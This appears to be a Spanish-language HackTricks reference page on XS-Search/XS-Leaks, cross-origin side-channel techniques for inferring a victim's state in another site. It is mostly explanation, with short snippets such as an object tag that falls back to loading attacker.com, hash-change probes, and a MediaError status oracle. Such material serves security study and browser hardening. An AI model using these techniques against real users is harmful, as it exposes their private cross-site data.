XS-Search/XS-Leaks

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

XS-Search es un m茅todo utilizado para extraer informaci贸n de origen cruzado aprovechando vulnerabilidades de canal lateral.

Los componentes clave involucrados en este ataque incluyen:

  • Web Vulnerable: El sitio web objetivo del cual se pretende extraer informaci贸n.
  • Web del Atacante: El sitio web malicioso creado por el atacante, que la v铆ctima visita, alojando el exploit.
  • M茅todo de Inclusi贸n: La t茅cnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.).
  • T茅cnica de Filtraci贸n: T茅cnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la informaci贸n recopilada a trav茅s del m茅todo de inclusi贸n.
  • Estados: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir.
  • Diferencias Detectables: Variaciones observables de las que el atacante se basa para inferir el estado de la Web Vulnerable.

Diferencias Detectables

Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vulnerable:

  • C贸digo de Estado: Distinguir entre varios c贸digos de estado de respuesta HTTP de origen cruzado, como errores de servidor, errores de cliente o errores de autenticaci贸n.
  • Uso de API: Identificar el uso de APIs Web a trav茅s de p谩ginas, revelando si una p谩gina de origen cruzado emplea una API Web de JavaScript espec铆fica.
  • Redirecciones: Detectar navegaciones a diferentes p谩ginas, no solo redirecciones HTTP, sino tambi茅n aquellas desencadenadas por JavaScript o HTML.
  • Contenido de la P谩gina: Observar variaciones en el cuerpo de la respuesta HTTP o en sub-recursos de la p谩gina, como el n煤mero de marcos incrustados o disparidades en el tama帽o de las im谩genes.
  • Encabezado HTTP: Notar la presencia o posiblemente el valor de un encabezado de respuesta HTTP espec铆fico, incluyendo encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
  • Temporizaci贸n: Notar disparidades de tiempo consistentes entre los dos estados.

M茅todos de Inclusi贸n

  • Elementos HTML: HTML ofrece varios elementos para inclusi贸n de recursos de origen cruzado, como hojas de estilo, im谩genes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilaci贸n de elementos HTML potenciales para este prop贸sito en https://github.com/cure53/HTTPLeaks.
  • Marcos: Elementos como iframe, object y embed pueden incrustar recursos HTML directamente en la p谩gina del atacante. Si la p谩gina carece de protecci贸n contra marcos, JavaScript puede acceder al objeto de ventana del recurso enmarcado a trav茅s de la propiedad contentWindow.
  • Ventanas Emergentes: El m茅todo window.open abre un recurso en una nueva pesta帽a o ventana, proporcionando un manejador de ventana para que JavaScript interact煤e con m茅todos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesi贸n 煤nico, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creaci贸n de ventanas emergentes a ciertas acciones del usuario.
  • Solicitudes de JavaScript: JavaScript permite solicitudes directas a recursos objetivo utilizando XMLHttpRequests o la Fetch API. Estos m茅todos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.

T茅cnicas de Filtraci贸n

  • Manejador de Eventos: Una t茅cnica cl谩sica de filtraci贸n en XS-Leaks, donde los manejadores de eventos como onload y onerror proporcionan informaci贸n sobre el 茅xito o fracaso de la carga de recursos.
  • Mensajes de Error: Excepciones de JavaScript o p谩ginas de error especiales pueden proporcionar informaci贸n de filtraci贸n ya sea directamente desde el mensaje de error o diferenciando entre su presencia y ausencia.
  • L铆mites Globales: Limitaciones f铆sicas de un navegador, como la capacidad de memoria u otros l铆mites impuestos por el navegador, pueden se帽alar cuando se alcanza un umbral, sirviendo como t茅cnica de filtraci贸n.
  • Estado Global: Interacciones detectables con los estados globales de los navegadores (por ejemplo, la interfaz de Historia) pueden ser explotadas. Por ejemplo, el n煤mero de entradas en el historial de un navegador puede ofrecer pistas sobre p谩ginas de origen cruzado.
  • API de Rendimiento: Esta API proporciona detalles de rendimiento de la p谩gina actual, incluyendo el tiempo de red para el documento y recursos cargados, permitiendo inferencias sobre los recursos solicitados.
  • Atributos Legibles: Algunos atributos HTML son legibles de origen cruzado y pueden ser utilizados como t茅cnica de filtraci贸n. Por ejemplo, la propiedad window.frame.length permite a JavaScript contar los marcos incluidos en una p谩gina web de origen cruzado.

Herramienta y Documento XSinator

XSinator es una herramienta autom谩tica para verificar navegadores contra varios XS-Leaks conocidos explicados en su documento: https://xsinator.com/paper.pdf

Puedes acceder a la herramienta en https://xsinator.com/

warning

XS-Leaks Excluidos: Tuvimos que excluir XS-Leaks que dependen de trabajadores de servicio ya que interferir铆an con otras filtraciones en XSinator. Adem谩s, elegimos excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicaci贸n web espec铆fica. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Adem谩s, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.

T茅cnicas Basadas en Tiempo

Algunas de las siguientes t茅cnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las p谩ginas web. Hay diferentes formas de medir el tiempo en un navegador web.

Relojes: La API performance.now() permite a los desarrolladores obtener mediciones de tiempo de alta resoluci贸n.
Hay un n煤mero considerable de APIs que los atacantes pueden abusar para crear relojes impl铆citos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animaciones CSS, y otros.
Para m谩s informaci贸n: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

T茅cnicas de Manejador de Eventos

Onload/Onerror

Cookie Bomb + Onerror XS Leak

El ejemplo de c贸digo intenta cargar objetos de scripts desde JS, pero otras etiquetas como objetos, hojas de estilo, im谩genes, audios tambi茅n podr铆an ser utilizadas. Adem谩s, tambi茅n es posible inyectar la etiqueta directamente y declarar los eventos onload y onerror dentro de la etiqueta (en lugar de inyectarlo desde JS).

Tambi茅n hay una versi贸n sin script de este ataque:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargar谩 attacker.com/?error.

Tiempo de Onload

performance.now example

Tiempo de Onload + Tarea Pesada Forzada

Esta t茅cnica es similar a la anterior, pero el atacante tambi茅n forzar谩 alguna acci贸n para tomar una cantidad relevante de tiempo cuando la respuesta sea positiva o negativa y medir谩 ese tiempo.

performance.now + Force heavy task

Tiempo de unload/beforeunload

El tiempo tomado para obtener un recurso se puede medir utilizando los eventos unload y beforeunload. El evento beforeunload se activa cuando el navegador est谩 a punto de navegar a una nueva p谩gina, mientras que el evento unload ocurre cuando la navegaci贸n est谩 realmente teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la duraci贸n que el navegador pas贸 obteniendo el recurso.

Tiempo de Frame en Sandbox + onload

Se ha observado que en ausencia de Protecciones de Framing, el tiempo requerido para que una p谩gina y sus subrecursos se carguen a trav茅s de la red puede ser medido por un atacante. Esta medici贸n es t铆picamente posible porque el controlador onload de un iframe se activa solo despu茅s de la finalizaci贸n de la carga de recursos y la ejecuci贸n de JavaScript. Para eludir la variabilidad introducida por la ejecuci贸n de scripts, un atacante podr铆a emplear el atributo sandbox dentro del <iframe>. La inclusi贸n de este atributo restringe numerosas funcionalidades, notablemente la ejecuci贸n de JavaScript, facilitando as铆 una medici贸n que est谩 predominantemente influenciada por el rendimiento de la red.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • M茅todos de Inclusi贸n: Frames
  • Diferencia Detectable: Contenido de la P谩gina
  • M谩s info:
  • Resumen: Si puedes hacer que la p谩gina d茅 un error cuando se accede al contenido correcto y que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la informaci贸n sin medir el tiempo.
  • Ejemplo de C贸digo:

Supongamos que puedes insertar la p谩gina que tiene el contenido secreto dentro de un Iframe.

Puedes hacer que la v铆ctima busque el archivo que contiene "flag" usando un Iframe (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el evento onload se ejecutar谩 siempre al menos una vez. Luego, puedes cambiar la URL del iframe pero cambiando solo el contenido del hash dentro de la URL.

Por ejemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la primera URL se carg贸 correctamente, entonces, al cambiar la parte del hash de la URL, el evento onload no se activar谩 de nuevo. Pero si la p谩gina tuvo alg煤n tipo de error al cargar, entonces, el evento onload se activar谩 de nuevo.

Entonces, puedes distinguir entre una p谩gina cargada correctamente o una p谩gina que tiene un error al ser accedida.

Ejecuci贸n de Javascript

  • M茅todos de Inclusi贸n: Frames
  • Diferencia Detectable: Contenido de la P谩gina
  • M谩s info:
  • Resumen: Si la p谩gina est谩 devolviendo el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podr铆a establecer c贸digo JS v谩lido en el caso negativo, un cargar cada intento dentro de <script> etiquetas, as铆 que en casos negativos el c贸digo de los atacantes se ejecuta, y en casos afirmativos nada se ejecutar谩.
  • Ejemplo de C贸digo:

JavaScript Execution XS Leak

CORB - Onerror

  • M茅todos de Inclusi贸n: Elementos HTML
  • Diferencia Detectable: C贸digo de Estado y Encabezados
  • M谩s info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumen: Cross-Origin Read Blocking (CORB) es una medida de seguridad que impide que las p谩ginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como Spectre. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a CORB devuelve un Content-Type protegido por CORB con nosniff y un c贸digo de estado 2xx, CORB elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinaci贸n del c贸digo de estado (que indica 茅xito o error) y el Content-Type (que indica si est谩 protegido por CORB), lo que lleva a una posible fuga de informaci贸n.
  • Ejemplo de C贸digo:

Consulta el enlace de m谩s informaci贸n para obtener m谩s informaci贸n sobre el ataque.

onblur

Es posible cargar una p谩gina dentro de un iframe y usar el #id_value para hacer que la p谩gina enfoque en el elemento del iframe indicado, si se activa una se帽al de onblur, el elemento ID existe.
Puedes realizar el mismo ataque con etiquetas portal.

Transmisiones postMessage

  • M茅todos de Inclusi贸n: Frames, Pop-ups
  • Diferencia Detectable: Uso de API
  • M谩s info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumen: Reunir informaci贸n sensible de un postMessage o usar la presencia de postMessages como un or谩culo para conocer el estado del usuario en la p谩gina.
  • Ejemplo de C贸digo: Cualquier c贸digo que escuche todos los postMessages.

Las aplicaciones utilizan frecuentemente postMessage broadcasts para comunicarse entre diferentes or铆genes. Sin embargo, este m茅todo puede exponer inadvertidamente informaci贸n sensible si el par谩metro targetOrigin no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Adem谩s, el mero acto de recibir un mensaje puede actuar como un or谩culo; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesi贸n. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar informaci贸n sobre el estado o identidad del usuario, como si est谩n autenticados o no.

T茅cnicas de L铆mites Globales

API de WebSocket

Es posible identificar si, y cu谩ntas, conexiones de WebSocket usa una p谩gina objetivo. Esto permite a un atacante detectar estados de aplicaci贸n y filtrar informaci贸n relacionada con el n煤mero de conexiones de WebSocket.

Si un origen utiliza la m谩xima cantidad de objetos de conexi贸n de WebSocket, independientemente de su estado de conexi贸n, la creaci贸n de nuevos objetos resultar谩 en excepciones de JavaScript. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, despu茅s de que se haya cargado la web objetivo, intenta crear el m谩ximo n煤mero de conexiones de WebSocket posible. El n煤mero de excepciones lanzadas es el n煤mero de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo.

API de Pago

Esta fuga XS permite a un atacante detectar cu谩ndo una p谩gina de origen cruzado inicia una solicitud de pago.

Debido a que solo una solicitud de pago puede estar activa al mismo tiempo, si el sitio web objetivo est谩 utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallar谩 y causar谩 una excepci贸n de JavaScript. El atacante puede explotar esto intentando mostrar peri贸dicamente la interfaz de usuario de la API de Pago. Si un intento causa una excepci贸n, el sitio web objetivo la est谩 utilizando actualmente. El atacante puede ocultar estos intentos peri贸dicos cerrando inmediatamente la interfaz de usuario despu茅s de su creaci贸n.

Temporizaci贸n del Bucle de Eventos

Event Loop Blocking + Lazy images

JavaScript opera en un modelo de concurrencia de bucle de eventos de un solo hilo, lo que significa que solo puede ejecutar una tarea a la vez. Esta caracter铆stica puede ser explotada para medir cu谩nto tiempo tarda en ejecutarse el c贸digo de un origen diferente. Un atacante puede medir el tiempo de ejecuci贸n de su propio c贸digo en el bucle de eventos al despachar continuamente eventos con propiedades fijas. Estos eventos se procesar谩n cuando el grupo de eventos est茅 vac铆o. Si otros or铆genes tambi茅n est谩n despachando eventos al mismo grupo, un atacante puede inferir el tiempo que tardan en ejecutarse estos eventos externos al observar retrasos en la ejecuci贸n de sus propias tareas. Este m茅todo de monitoreo del bucle de eventos para retrasos puede revelar el tiempo de ejecuci贸n del c贸digo de diferentes or铆genes, exponiendo potencialmente informaci贸n sensible.

warning

En una temporizaci贸n de ejecuci贸n es posible eliminar factores de red para obtener mediciones m谩s precisas. Por ejemplo, cargando los recursos utilizados por la p谩gina antes de cargarla.

Bucle de Eventos Ocupado

  • M茅todos de Inclusi贸n:
  • Diferencia Detectable: Temporizaci贸n (generalmente debido al Contenido de la P谩gina, C贸digo de Estado)
  • M谩s info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumen: Un m茅todo para medir el tiempo de ejecuci贸n de una operaci贸n web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir cu谩nto tiempo tarda en estar disponible nuevamente. Al insertar una operaci贸n de bloqueo (como un c谩lculo largo o una llamada a una API sincr贸nica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecuci贸n del c贸digo subsiguiente, se puede inferir la duraci贸n de las tareas que se estaban ejecutando en el bucle de eventos durante el per铆odo de bloqueo. Esta t茅cnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar informaci贸n sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
  • Ejemplo de C贸digo:

Una ventaja significativa de la t茅cnica de medir el tiempo de ejecuci贸n bloqueando el bucle de eventos es su potencial para eludir Site Isolation. Site Isolation es una caracter铆stica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporizaci贸n de ejecuci贸n de otro origen a trav茅s del bucle de eventos compartido, un atacante puede extraer indirectamente informaci贸n sobre las actividades de ese origen. Este m茅todo no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo as铆 las barreras protectoras establecidas por Site Isolation.

warning

En una temporizaci贸n de ejecuci贸n es posible eliminar factores de red para obtener mediciones m谩s precisas. Por ejemplo, cargando los recursos utilizados por la p谩gina antes de cargarla.

Pool de Conexiones

  • M茅todos de Inclusi贸n: Solicitudes de JavaScript
  • Diferencia Detectable: Temporizaci贸n (generalmente debido al Contenido de la P谩gina, C贸digo de Estado)
  • M谩s info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Resumen: Un atacante podr铆a bloquear todos los sockets excepto 1, cargar la web objetivo y al mismo tiempo cargar otra p谩gina, el tiempo hasta que la 煤ltima p谩gina comience a cargar es el tiempo que la p谩gina objetivo tard贸 en cargar.
  • Ejemplo de C贸digo:

Connection Pool Examples

Los navegadores utilizan sockets para la comunicaci贸n con el servidor, pero debido a los recursos limitados del sistema operativo y hardware, los navegadores se ven obligados a imponer un l铆mite en el n煤mero de sockets concurrentes. Los atacantes pueden explotar esta limitaci贸n a trav茅s de los siguientes pasos:

  1. Determinar el l铆mite de sockets del navegador, por ejemplo, 256 sockets globales.
  2. Ocupando 255 sockets durante un per铆odo prolongado iniciando 255 solicitudes a varios hosts, dise帽adas para mantener las conexiones abiertas sin completarse.
  3. Utilizar el socket 256 para enviar una solicitud a la p谩gina objetivo.
  4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets est谩n en uso (seg煤n los pasos 2 y 3), esta solicitud se encolar谩 hasta que un socket est茅 disponible. La demora antes de que esta solicitud proceda proporciona al atacante informaci贸n de temporizaci贸n sobre la actividad de red relacionada con el socket del 256 (el socket de la p谩gina objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 a煤n est谩n ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liber贸 del paso 3. El tiempo que tarda el socket 256 en estar disponible est谩 directamente relacionado con el tiempo que se requiere para que la solicitud a la p谩gina objetivo se complete.

Para m谩s info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Conexiones por Destino

  • M茅todos de Inclusi贸n: Solicitudes de JavaScript
  • Diferencia Detectable: Temporizaci贸n (generalmente debido al Contenido de la P谩gina, C贸digo de Estado)
  • M谩s info:
  • Resumen: Es como la t茅cnica anterior, pero en lugar de usar todos los sockets, Chrome impone un l铆mite de 6 solicitudes concurrentes al mismo origen. Si bloqueamos 5 y luego lanzamos una 6ta solicitud, podemos temporizarla y si logramos hacer que la p谩gina v铆ctima env铆e m谩s solicitudes al mismo endpoint para detectar un estado de la p谩gina, la 6ta solicitud tardar谩 m谩s y podemos detectarlo.

T茅cnicas de API de Rendimiento

La Performance API ofrece informaci贸n sobre las m茅tricas de rendimiento de las aplicaciones web, enriquecida a煤n m谩s por la Resource Timing API. La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duraci贸n de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado Timing-Allow-Origin: * en sus respuestas, se vuelve disponible informaci贸n adicional como el tama帽o de transferencia y el tiempo de b煤squeda de dominio.

Esta riqueza de datos se puede recuperar a trav茅s de m茅todos como performance.getEntries o performance.getEntriesByName, proporcionando una vista completa de la informaci贸n relacionada con el rendimiento. Adem谩s, la API facilita la medici贸n de los tiempos de ejecuci贸n al calcular la diferencia entre las marcas de tiempo obtenidas de performance.now(). Sin embargo, vale la pena se帽alar que para ciertas operaciones en navegadores como Chrome, la precisi贸n de performance.now() puede estar limitada a milisegundos, lo que podr铆a afectar la granularidad de las mediciones de temporizaci贸n.

M谩s all谩 de las mediciones de temporizaci贸n, la Performance API puede ser aprovechada para obtener informaci贸n relacionada con la seguridad. Por ejemplo, la presencia o ausencia de p谩ginas en el objeto performance en Chrome puede indicar la aplicaci贸n de X-Frame-Options. Espec铆ficamente, si una p谩gina est谩 bloqueada de renderizarse en un marco debido a X-Frame-Options, no se registrar谩 en el objeto performance, proporcionando una pista sutil sobre las pol铆ticas de enmarcado de la p谩gina.

Fuga de Errores

Es posible diferenciar entre c贸digos de estado de respuesta HTTP porque las solicitudes que conducen a un error no crean una entrada de rendimiento.

Error de Recarga de Estilo

En la t茅cnica anterior tambi茅n se identificaron dos casos donde errores del navegador en GC llevan a que los recursos se carguen dos veces cuando fallan al cargar. Esto resultar谩 en m煤ltiples entradas en la API de Rendimiento y puede ser detectado.

Error de Fusi贸n de Solicitudes

La t茅cnica se encontr贸 en una tabla en el documento mencionado, pero no se encontr贸 ninguna descripci贸n de la t茅cnica en 茅l. Sin embargo, puedes encontrar el c贸digo fuente verific谩ndolo en https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Fuga de P谩gina Vac铆a

Un atacante puede detectar si una solicitud result贸 en un cuerpo de respuesta HTTP vac铆o porque las p谩ginas vac铆as no crean una entrada de rendimiento en algunos navegadores.

Fuga del Auditor XSS

En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado parad贸jicamente para filtrar informaci贸n sensible. Aunque esta funci贸n incorporada fue eliminada de Google Chrome (GC), todav铆a est谩 presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podr铆a bloquear inadvertidamente scripts leg铆timos, llevando a falsos positivos. Bas谩ndose en esto, los investigadores desarrollaron t茅cnicas para extraer informaci贸n y detectar contenido espec铆fico en p谩ginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicaci贸n de blog. Aunque estas t茅cnicas eran espec铆ficas para el Auditor XSS en GC, se descubri贸 que en SA, las p谩ginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un m茅todo a trav茅s del cual la informaci贸n sensible podr铆a seguir siendo filtrada.

Fuga X-Frame

Si una p谩gina no est谩 permitida para ser renderizada en un iframe, no crea una entrada de rendimiento. Como resultado, un atacante puede detectar el encabezado de respuesta X-Frame-Options.
Lo mismo ocurre si usas una etiqueta embed.

Detecci贸n de Descargas

Similar a la fuga XS descrita, un recurso que se descarga debido al encabezado ContentDisposition, tambi茅n no crea una entrada de rendimiento. Esta t茅cnica funciona en todos los navegadores principales.

Fuga de Inicio de Redirecci贸n

Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada informaci贸n para solicitudes de origen cruzado. El est谩ndar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en SA es posible detectar si el usuario es redirigido por la p谩gina objetivo, consultando la API de Rendimiento y verificando los datos de temporizaci贸n de redirectStart.

Fuga de Duraci贸n de Redirecci贸n

En GC, la duraci贸n para solicitudes que resultan en una redirecci贸n es negativa y puede ser distingida de solicitudes que no resultan en una redirecci贸n.

Fuga CORP

En algunos casos, la entrada nextHopProtocol puede ser utilizada como una t茅cnica de fuga. En GC, cuando se establece el encabezado CORP, nextHopProtocol estar谩 vac铆o. Ten en cuenta que SA no crear谩 una entrada de rendimiento en absoluto para recursos habilitados para CORP.

Worker de Servicio

Los workers de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una p谩gina web y pueden interceptar, modificar y almacenar en cach茅 recursos para crear aplicaciones web fuera de l铆nea.
Si un recurso almacenado en cach茅 por un worker de servicio es accedido a trav茅s de iframe, el recurso ser谩 cargado desde la cach茅 del worker de servicio.
Para detectar si el recurso fue cargado desde la cach茅 del worker de servicio, se puede utilizar la API de Rendimiento.
Esto tambi茅n podr铆a hacerse con un ataque de temporizaci贸n (consulta el documento para m谩s informaci贸n).

Cach茅

Usando la API de Rendimiento es posible verificar si un recurso est谩 en cach茅.

Duraci贸n de Red de Solicitudes

T茅cnica de Mensajes de Error

Error de Medios

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

La propiedad message de la interfaz MediaError identifica de manera 煤nica los recursos que se cargan correctamente con una cadena distinta. Un atacante puede explotar esta caracter铆stica observando el contenido del mensaje, deduciendo as铆 el estado de respuesta de un recurso de origen cruzado.

Error de CORS

Esta t茅cnica permite a un atacante extraer el destino de la redirecci贸n de un sitio de origen cruzado aprovechando c贸mo los navegadores basados en Webkit manejan las solicitudes CORS. Espec铆ficamente, cuando se env铆a una solicitud habilitada para CORS a un sitio objetivo que emite una redirecci贸n basada en el estado del usuario y el navegador posteriormente niega la solicitud, la URL completa del objetivo de la redirecci贸n se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirecci贸n, sino que tambi茅n expone el punto final de la redirecci贸n y cualquier par谩metro de consulta sensible que pueda contener.

Error de SRI

Un atacante puede explotar mensajes de error verbosos para deducir el tama帽o de las respuestas de origen cruzado. Esto es posible debido al mecanismo de Integridad de Subrecursos (SRI), que utiliza el atributo de integridad para validar que los recursos recuperados, a menudo de CDNs, no han sido manipulados. Para que SRI funcione en recursos de origen cruzado, estos deben estar habilitados para CORS; de lo contrario, no est谩n sujetos a verificaciones de integridad. En las Afirmaciones de Seguridad (SA), al igual que el error de CORS XS-Leak, se puede capturar un mensaje de error despu茅s de que una solicitud de recuperaci贸n con un atributo de integridad falla. Los atacantes pueden provocar deliberadamente este error asignando un valor de hash falso al atributo de integridad de cualquier solicitud. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta fuga de informaci贸n permite a un atacante discernir variaciones en el tama帽o de la respuesta, allanando el camino para ataques sofisticados de XS-Leak.

Violaci贸n/Detecci贸n de CSP

Un XS-Leak puede usar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirecci贸n, pero adem谩s, el dominio del objetivo de la redirecci贸n se filtra. La idea b谩sica de este ataque es permitir el dominio objetivo en el sitio del atacante. Una vez que se emite una solicitud al dominio objetivo, este redirige a un dominio de origen cruzado. CSP bloquea el acceso a 茅l y crea un informe de violaci贸n utilizado como t茅cnica de fuga. Dependiendo del navegador, este informe puede filtrar la ubicaci贸n objetivo de la redirecci贸n.
Los navegadores modernos no indicar谩n la URL a la que se redirigi贸, pero a煤n se puede detectar que se activ贸 una redirecci贸n de origen cruzado.

Cach茅

Los navegadores pueden usar una cach茅 compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una p谩gina objetivo ha solicitado un archivo espec铆fico.

Si una p谩gina carga una imagen solo si el usuario ha iniciado sesi贸n, puedes invalidar el recurso (para que ya no est茅 en cach茅 si lo estaba, consulta los enlaces de m谩s informaci贸n), realizar una solicitud que podr铆a cargar ese recurso y tratar de cargar el recurso con una solicitud incorrecta (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso no gener贸 ning煤n error, es porque estaba en cach茅.

Directiva CSP

Una nueva caracter铆stica en Google Chrome (GC) permite a las p谩ginas web proponer una Pol铆tica de Seguridad de Contenido (CSP) estableciendo un atributo en un elemento iframe, con directivas de pol铆tica transmitidas junto con la solicitud HTTP. Normalmente, el contenido incrustado debe autorizar esto a trav茅s de un encabezado HTTP, o se muestra una p谩gina de error. Sin embargo, si el iframe ya est谩 gobernado por un CSP y la nueva pol铆tica propuesta no es m谩s restrictiva, la p谩gina se cargar谩 normalmente. Este mecanismo abre un camino para que un atacante detecte directivas CSP espec铆ficas de una p谩gina de origen cruzado al identificar la p谩gina de error. Aunque esta vulnerabilidad fue marcada como corregida, nuestros hallazgos revelan una nueva t茅cnica de fuga capaz de detectar la p谩gina de error, sugiriendo que el problema subyacente nunca fue completamente abordado.

CORP

El encabezado CORP es una caracter铆stica de seguridad de la plataforma web relativamente nueva que, cuando se establece, bloquea las solicitudes de origen cruzado sin CORS al recurso dado. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP generar谩 un error cuando se recupere.

CORB

Consulta el enlace para m谩s informaci贸n sobre el ataque.

Error de CORS en la mala configuraci贸n de reflexi贸n de origen

En caso de que el encabezado Origin est茅 siendo reflejado en el encabezado Access-Control-Allow-Origin, un atacante puede abusar de este comportamiento para intentar recuperar el recurso en modo CORS. Si no se genera un error, significa que fue recuperado correctamente de la web; si se genera un error, es porque fue accedido desde la cach茅 (el error aparece porque la cach茅 guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).
Ten en cuenta que si el origen no se refleja pero se usa un comod铆n (Access-Control-Allow-Origin: *), esto no funcionar谩.

T茅cnica de Atributos Legibles

Redirecci贸n Fetch

Al enviar una solicitud utilizando la Fetch API con redirect: "manual" y otros par谩metros, es posible leer el atributo response.type y si es igual a opaqueredirect, entonces la respuesta fue una redirecci贸n.

COOP

Un atacante es capaz de deducir la presencia del encabezado de la Pol铆tica de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizado por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado puede discernirse al intentar acceder a la referencia contentWindow. En escenarios donde COOP se aplica condicionalmente, la propiedad opener se convierte en un indicador revelador: es indefinida cuando COOP est谩 activo y definida en su ausencia.

Longitud M谩xima de URL - Lado del Servidor

Si una redirecci贸n del lado del servidor utiliza entrada del usuario dentro de la redirecci贸n y datos adicionales. Es posible detectar este comportamiento porque generalmente los servidores tienen un l铆mite de longitud de solicitud. Si los datos del usuario son esa longitud - 1, porque la redirecci贸n est谩 utilizando esos datos y agregando algo extra, se generar谩 un error detectable a trav茅s de Eventos de Error.

Si de alguna manera puedes establecer cookies a un usuario, tambi茅n puedes realizar este ataque estableciendo suficientes cookies (bomba de cookies) para que con el aumento del tama帽o de la respuesta de la respuesta correcta se genere un error. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, <script> enviar谩 autom谩ticamente las cookies (as铆 que puedes verificar errores).
Un ejemplo de la bomba de cookies + XS-Search se puede encontrar en la soluci贸n prevista de este informe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

